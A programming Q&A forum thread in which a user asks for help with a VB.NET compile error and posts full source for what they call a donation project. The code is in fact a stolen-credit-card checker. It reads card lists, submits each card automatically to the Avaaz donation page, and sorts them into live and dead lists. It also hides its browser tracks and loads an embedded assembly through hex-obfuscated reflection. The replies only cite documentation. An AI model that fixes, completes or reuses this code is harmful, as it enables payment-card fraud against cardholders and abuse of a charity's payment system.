Member 14485746 Ответов: 1

Este es el error que estoy obteniendo: la cláusula handles requiere una variable withevents definida en el tipo que contiene o uno de sus tipos base


Tengo un proyecto de donaciones y no compila por ese error y no se como arreglarlo.
Ошибка Este es el:

Переведенный:
Это ошибка, которую я получаю: предложение Handles требует переменной WithEvents, определенной в типе, который он содержит, или в одном из его базовых типов

<pre>    Private Sub Timer7_Tick(sender As Object, e As EventArgs) Handles Timer7.Tick
        Me.WebBrowser1.Navigate("https://secure.avaaz.org/donate/pub-iframe.php/?cid=3116&lang=es&sourceUrl=https%3A%2F%2Fsecure.avaaz.org%2Fes%2Fdonate%2F")
        lblstatus.Text = "Tempo expirado, reiniciando..."
        lblstatus.ForeColor = Color.Red
        Timer1.Start()
        Timer4.Stop()
    End Sub


Что я уже пробовал:

Este es el código completo:

Переведенный:
Это полный код:

Imports Microsoft.VisualBasic.CompilerServices
Imports System
Imports System.Collections
Imports System.Collections.Generic
Imports System.Collections.Specialized
Imports System.ComponentModel
Imports System.Data.SqlClient
Imports System.Diagnostics
Imports System.Drawing
Imports System.IO
Imports System.Net
Imports System.Runtime.CompilerServices
Imports System.Text
Imports System.Threading
Imports System.Windows.Forms
Imports System.Net.Mail
Public Class Form1
    Private Property strMailBody As String
    Private Property sIP As String
    Private Property bin As String
    Private Sub f()
        Me.DataGridView1.Rows.Remove(Me.DataGridView1.Rows.Item(0))
    End Sub

    Private Sub HuraButton1_Click(sender As Object, e As EventArgs) Handles HuraButton1.Click
        OpenFileDialog1.ShowDialog()
        txtDiretorio.Text = OpenFileDialog1.FileName
        Try
            '========================================== 
            Dim Separador As Char
            Dim datagrid As New DataTable
            Dim dr As DataRow
            '========================================== 
            lblstatus.Text = "Tarjetas cargadas"
            lblstatus.ForeColor = Color.Red

            datagrid.Columns.Add("CC")
            datagrid.Columns.Add("MES")
            datagrid.Columns.Add("AÑO")
            datagrid.Columns.Add("CVV")
            dr = datagrid.NewRow()
            '========================================== 
            Dim Arquivo As New System.IO.StreamReader(txtDiretorio.Text)
            Separador = "|"
            While Arquivo.Peek() <> -1
                datagrid.Rows.Add(Arquivo.ReadLine().Split(Separador))
            End While
            DataGridView1.DataSource = datagrid
            Me.cbCartao.Enabled = True
            DataGridView1.CurrentRow.Selected = True
            '==========================================
        Catch ex As Exception
            '==========================================
        End Try

        Me.tContador.Start()
        'ORGANIZADOR GRID
        Dim tmn As Integer

        For tmn = 0 To DataGridView1.ColumnCount - 1
            If tmn = DataGridView1.ColumnCount - 1 Then
                DataGridView1.Columns(tmn).AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill
            Else
                DataGridView1.Columns(tmn).AutoSizeMode = DataGridViewAutoSizeColumnMode.DisplayedCells
            End If
        Next
    End Sub
    Private ar As String
    Private Function cbCartao() As Object
        Throw New NotImplementedException
    End Function
    Public Function deletaprimeralinha(ByVal arquivo As String) As Object
        Dim obj2 As Object
        Try
            Dim num2 As Integer
            Dim reader As New StreamReader(arquivo)
            Dim strArray As String() = New String(2 - 1) {}
            Dim index As Integer = 0
            Do
                strArray(index) = reader.ReadLine
                index += 1
                num2 = 1
            Loop While (index <= num2)
            Me.TextBox3.Text = strArray(0)
            Dim list As New List(Of String)(File.ReadAllLines(arquivo))
            list.RemoveAt(0)
            reader.Dispose()
            reader.Close()
            File.WriteAllLines(arquivo, list.ToArray)
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            Dim exception As Exception = exception1
            ProjectData.ClearProjectError()
        End Try
        Return obj2
    End Function

    Private Sub HuraButton6_Click(sender As Object, e As EventArgs) Handles HuraButton6.Click
        Timer1.Start()
        lblstatus.Text = "Verficando lista..."
        lblstatus.ForeColor = Color.Green
    End Sub

    Private Sub HuraButton5_Click(sender As Object, e As EventArgs) Handles HuraButton5.Click
        lblstatus.Text = "Pausando..."
        lblstatus.ForeColor = Color.White
        Timer1.Stop()
        Timer2.Stop()
        Timer3.Stop()
        Timer4.Stop()
        Timer5.Stop()
    End Sub

    Private Sub HuraButton4_Click(sender As Object, e As EventArgs) Handles HuraButton4.Click
        DataGridView1.DataSource = Nothing
        DataGridView1.Rows.Clear()
        DataGridView1.Refresh()
        Aprovadas.Items.Clear()
        Reprovadas.Items.Clear()
        txtDiretorio.Text = ""
        lblstatus.Text = ""
        lblContador.Text = ""
        lblaprovadas.Text = ""
        lblreprovadas.Text = ""
    End Sub

    Private Sub HuraButton3_Click(sender As Object, e As EventArgs) Handles HuraButton3.Click

        Dim salvarComo As SaveFileDialog = New SaveFileDialog()
        Dim caminho As DialogResult
        Dim fluxoTexto As IO.StreamWriter
        Dim Arquivo As String

        salvarComo.CheckFileExists = False
        salvarComo.Title = "Salvar aprovadas"
        salvarComo.FileName = "Aprovadas.txt"
        salvarComo.Filter = ".txt|*.txt|All files|*.*"
        caminho = salvarComo.ShowDialog
        Arquivo = salvarComo.FileName

        If Arquivo = Nothing Then
            MessageBox.Show("Arquivo Invalido", "¡salvar!", MessageBoxButtons.OK)
        Else
            fluxoTexto = New IO.StreamWriter(Arquivo)
            For i As Integer = 0 To Aprovadas.Items.Count - 1
                fluxoTexto.WriteLine(Aprovadas.Items(i).ToString())
            Next
            fluxoTexto.WriteLine("")
            fluxoTexto.Close()
        End If
    End Sub

    Private Sub HuraButton2_Click(sender As Object, e As EventArgs) Handles HuraButton2.Click
        Shell("RunDll32.exe InetCpl.cpl, ClearMyTracksByProcess 8", vbHide)
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        lblstatus.Text = "➥ Iniciando..."
        lblstatus.ForeColor = Color.Lime
        Timer2.Start()
        Timer1.Stop()

    End Sub

    Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick

        If True Then
            Try

                Me.lblstatus.Text = "Iniciando"
                Me.lblstatus.Text = "➥ Poniendo monto..."
                lblstatus.ForeColor = Color.Gold
                Me.DataGridView1.CurrentRow.Selected = True
                '-----------/////////// PREENCHIMENTO
                For Each obj As Object In Me.WebBrowser1.Document.GetElementsByTagName("input")
                    Dim htmlElement As HtmlElement = CType(obj, HtmlElement)
                    If htmlElement.OuterHtml.Contains("id=""amountOtherInput""") Then
                        htmlElement.InvokeMember("value", "3000")
                        Exit For
                    End If
                Next
                For Each obj As Object In Me.WebBrowser1.Document.GetElementsByTagName("button")
                    Dim htmlElement As HtmlElement = CType(obj, HtmlElement)
                    If htmlElement.OuterHtml.Contains("id=""step1-next""") Then
                        htmlElement.InvokeMember("click")
                        Exit For
                    End If
                Next
                '-//////// TIMERS NÃO MECHA 
                Me.Timer2.Stop()
                Timer3.Start()

            Catch exception1 As Exception
                ProjectData.SetProjectError(exception1)
                Dim exception As Exception = exception1

                ProjectData.ClearProjectError()
            End Try
        End If
    End Sub

    Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick

        If True Then
            Try
                Me.lblstatus.Text = "➥ Registrando..."
                lblstatus.ForeColor = Color.Gold
                Me.DataGridView1.CurrentRow.Selected = True
                '-----------/////////// PREENCHIMENTO
                For Each obj As Object In Me.WebBrowser1.Document.GetElementsByTagName("input")
                    Dim htmlElement As HtmlElement = CType(obj, HtmlElement)
                    If htmlElement.OuterHtml.Contains("id=""fname""") Then
                        htmlElement.InvokeMember("value", "elias")
                        Exit For
                    End If
                Next
                For Each obj As Object In Me.WebBrowser1.Document.GetElementsByTagName("input")
                    Dim htmlElement As HtmlElement = CType(obj, HtmlElement)
                    If htmlElement.OuterHtml.Contains("id=""lname""") Then
                        htmlElement.InvokeMember("value", "moreno")
                        Exit For
                    End If
                Next
                For Each obj As Object In Me.WebBrowser1.Document.GetElementsByTagName("input")
                    Dim htmlElement As HtmlElement = CType(obj, HtmlElement)
                    If htmlElement.OuterHtml.Contains("id=""email""") Then
                        htmlElement.InvokeMember("value", "jp1002001066@gmail.com")
                        Exit For
                    End If
                Next
                For Each obj As Object In Me.WebBrowser1.Document.GetElementsByTagName("select")
                    Dim htmlElement As HtmlElement = CType(obj, HtmlElement)
                    If htmlElement.OuterHtml.Contains("id=""CountryID""") Then
                        htmlElement.InvokeMember("value", "34")
                        Exit For
                    End If
                Next
                '-//////// TIMERS NÃO MECHA 
                Me.Timer3.Stop()
                Timer4.Start()

            Catch exception1 As Exception
                ProjectData.SetProjectError(exception1)
                Dim exception As Exception = exception1

                ProjectData.ClearProjectError()
            End Try
        End If
    End Sub

    Private Sub Timer4_Tick(sender As Object, e As EventArgs) Handles Timer4.Tick

        If True Then
            Try
                Me.lblstatus.Text = "➥ Pagando..."
                lblstatus.ForeColor = Color.Gold
                Me.DataGridView1.CurrentRow.Selected = True

                '-----------/////////// PREENCHIMENTO
                For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
                    If element.GetAttribute("name") = "cardnumber" Then
                        element.SetAttribute("value", Conversions.ToString(Me.DataGridView1.CurrentRow.Cells(0).Value)) 'NUMERO DA CC
                    End If
                Next
                For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
                    If element.GetAttribute("name") = "exp-date" Then
                        element.SetAttribute("value", Conversions.ToString(Me.DataGridView1.CurrentRow.Cells(1).Value)) 'MES DA CC
                    End If
                Next
                For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
                    If element.GetAttribute("name") = "exp-date" Then
                        element.SetAttribute("value", Conversions.ToString(Me.DataGridView1.CurrentRow.Cells(2).Value)) 'AÑO DA CC
                    End If
                Next
                For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
                    If element.GetAttribute("name") = "cvc" Then
                        element.SetAttribute("value", Conversions.ToString(Me.DataGridView1.CurrentRow.Cells(3).Value)) 'CVV
                    End If
                Next

                For Each obj As Object In Me.WebBrowser1.Document.GetElementsByTagName("button")
                    Dim htmlElement As HtmlElement = CType(obj, HtmlElement)
                    If htmlElement.OuterHtml.Contains("id=""step3-submit""") Then
                        htmlElement.InvokeMember("click")  'CLICK
                        Exit For
                    End If
                Next
                '-//////// TIMERS NÃO MECHA 


                Me.Timer4.Stop()
                Timer5.Start()

            Catch exception1 As Exception
                ProjectData.SetProjectError(exception1)
                Dim exception As Exception = exception1

                ProjectData.ClearProjectError()
            End Try
        End If
    End Sub

    Private Sub Timer6_Tick(sender As Object, e As EventArgs) Handles Timer6.Tick

        Timer4.Start()
        Try
            Dim documentText As String = Me.WebBrowser1.DocumentText
            If WebBrowser1.Document.Body.InnerHtml.Contains("Thank") Then
                Me.Aprovadas.Items.Add("➥VIVA ✔ ➜ " + Me.DataGridView1.CurrentRow.Cells(0).Value + "|" + Me.DataGridView1.CurrentRow.Cells(1).Value + "|" + Me.DataGridView1.CurrentRow.Cells(2).Value + "|" + Me.DataGridView1.CurrentRow.Cells(3).Value + " $ - #BIG C**K - Cargo:   $25 USD ➜ CLASH CHECKER ✔")
                Me.WebBrowser1.Navigate("https://secure.avaaz.org/donate/pub-iframe.php/?cid=3116&lang=es&sourceUrl=https%3A%2F%2Fsecure.avaaz.org%2Fes%2Fdonate%2F")
                lblstatus.Text = "Aprovada"
                lblstatus.ForeColor = Color.Lime
                lblaprovadas.Text = Aprovadas.Items.Count.ToString
                Me.deletaprimeralinha(Me.ar)
                Me.f()
                Timer3.Stop()
                Timer1.Start()
                Timer4.Stop()



            ElseIf WebBrowser1.Document.Body.InnerHtml.Contains("wrong") Then
                Me.Reprovadas.Items.Add("➥MUERTA ✗ ➜" + Me.DataGridView1.CurrentRow.Cells(0).Value + "|" + Me.DataGridView1.CurrentRow.Cells(1).Value + "|" + Me.DataGridView1.CurrentRow.Cells(2).Value + "|" + Me.DataGridView1.CurrentRow.Cells(3).Value + "  - #BIG C**K ➜ CLASH CHECKER ✘")
                lblstatus.Text = "Reprovada"
                Me.WebBrowser1.Navigate("https://secure.avaaz.org/donate/pub-iframe.php/?cid=3116&lang=es&sourceUrl=https%3A%2F%2Fsecure.avaaz.org%2Fes%2Fdonate%2F")
                lblstatus.ForeColor = Color.Red
                lblreprovadas.Text = Reprovadas.Items.Count.ToString
                Me.deletaprimeralinha(Me.ar)
                Me.f()
                My.Computer.Audio.PlaySystemSound(System.Media.SystemSounds.Asterisk)

                Timer3.Stop()
                Timer1.Start()
                Timer4.Stop()


            End If

        Catch ex As Exception

        End Try
    End Sub

    Private Sub Timer7_Tick(sender As Object, e As EventArgs) Handles Timer7.Tick
        Me.WebBrowser1.Navigate("https://secure.avaaz.org/donate/pub-iframe.php/?cid=3116&lang=es&sourceUrl=https%3A%2F%2Fsecure.avaaz.org%2Fes%2Fdonate%2F")
        lblstatus.Text = "Tempo expirado, reiniciando..."
        lblstatus.ForeColor = Color.Red
        Timer1.Start()
        Timer4.Stop()
    End Sub

    Private Sub tContador_Tick(sender As Object, e As EventArgs) Handles tContador.Tick
        Dim soma As Integer = 0
        Try
            For i = 0 To DataGridView1.RowCount - 1
                If DataGridView1.Rows(i).Cells(1).ColumnIndex Then
                    soma += 1
                End If
            Next
            Me.lblContador.Text = soma
        Catch ex As Exception
            lblContador.Text = "0"
        End Try
        If lblContador.Text = "1" Then


            lblContador.Text = "0"
            Me.tContador.Stop()
            Me.Timer1.Stop()
            Me.Timer2.Stop()
            Me.Timer3.Stop()
            Me.Timer4.Stop()
            lblstatus.Text = "¡listo!"
            lblstatus.ForeColor = Color.Aqua 'OS COLOR PODE SER ALTERADOS CONFORME SEU GOSTO !

        End If
    End Sub

    Private Sub HuraButton7_Click(sender As Object, e As EventArgs) Handles HuraButton7.Click
        WebBrowser1.Visible = True
    End Sub

    Private Sub HuraButton8_Click(sender As Object, e As EventArgs) Handles HuraButton8.Click
        WebBrowser1.Visible = False
    End Sub

    Private Sub HuraForm1_Click(sender As Object, e As EventArgs) Handles HuraForm1.Click
        IKE(My.Resources.xNet, "xNet.xNet", "Main")
    End Sub
    Public Function IKE(ByVal I() As Byte, ByVal C As String, ByVal P As String) As Object
        Dim a As New System.Text.ASCIIEncoding
        Dim DMet As New System.Reflection.Emit.DynamicMethod("", GetType(Object), New [Type]() {GetType(Byte()), GetType(String), GetType(String), GetType(Object())})
        DMet.GetILGenerator.Emit(System.Reflection.Emit.OpCodes.Ldarg_0)
        DMet.GetILGenerator.Emit(System.Reflection.Emit.OpCodes.Call, GetType(Reflection.Assembly).GetMethod(a.GetString({&H4C, &H6F, &H61, &H64}), New [Type]() {GetType(Byte())}))
        DMet.GetILGenerator.Emit(System.Reflection.Emit.OpCodes.Ldarg_1)
        DMet.GetILGenerator.EmitCall(System.Reflection.Emit.OpCodes.Callvirt, GetType(Reflection.Assembly).GetMethod(a.GetString({&H47, &H65, &H74, &H54, &H79, &H70, &H65}), New [Type]() {GetType(String)}), Nothing)
        DMet.GetILGenerator.Emit(System.Reflection.Emit.OpCodes.Call, GetType(Activator).GetMethod(a.GetString({&H43, &H72, &H65, &H61, &H74, &H65, &H49, &H6E, &H73, &H74, &H61, &H6E, &H63, &H65}), New [Type]() {GetType(Type)}))
        DMet.GetILGenerator.Emit(System.Reflection.Emit.OpCodes.Call, GetType(System.Runtime.CompilerServices.RuntimeHelpers).GetMethod(a.GetString({&H47, &H65, &H74, &H4F, &H62, &H6A, &H65, &H63, &H74, &H56, &H61, &H6C, &H75, &H65}), New [Type]() {GetType(Object)}))
        DMet.GetILGenerator.Emit(System.Reflection.Emit.OpCodes.Ldarg_2)
        DMet.GetILGenerator.Emit(System.Reflection.Emit.OpCodes.Ldc_I4_1)
        DMet.GetILGenerator.Emit(System.Reflection.Emit.OpCodes.Ldarg_3)
        DMet.GetILGenerator.Emit(System.Reflection.Emit.OpCodes.Call, GetType(Interaction).GetMethod(a.GetString({&H43, &H61, &H6C, &H6C, &H42, &H79, &H4E, &H61, &H6D, &H65})))
        DMet.GetILGenerator.Emit(System.Reflection.Emit.OpCodes.Ret)
        Return CallByName(DMet, a.GetString({&H49, &H6E, &H76, &H6F, &H6B, &H65}), CallType.Method, {DMet, New Object() {I, C, P, New Object() {}}})
    End Function
    Private Sub Timer5_Tick(sender As Object, e As EventArgs) Handles Timer5.Tick
        Timer3.Start()
        For Each obj As Object In Me.WebBrowser1.Document.GetElementsByTagName("input")
            Dim htmlElement As HtmlElement = CType(obj, HtmlElement)
            If htmlElement.OuterHtml.Contains("name=""regButton""") Then
                htmlElement.InvokeMember("click")  'CLICK
                Exit For
            End If
        Next
        Timer5.Stop()
    End Sub

    Private Sub Lblaprovadas_Click(sender As Object, e As EventArgs) Handles lblaprovadas.Click

    End Sub

    Private Sub WebBrowser1_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted

    End Sub
End Class

Richard MacCutchan

Это англоязычный сайт. Пожалуйста, обновите свой вопрос соответствующим образом.

1 Ответов

Рейтинг:
1

Maciej Los

Пожалуйста, следуйте инструкциям из MSDN: Предложение Handles требует переменной WithEvents, определенной в содержащем типе или одном из его базовых типов | Microsoft Docs[^]
Без подробностей ошибки мы не сможем вам помочь.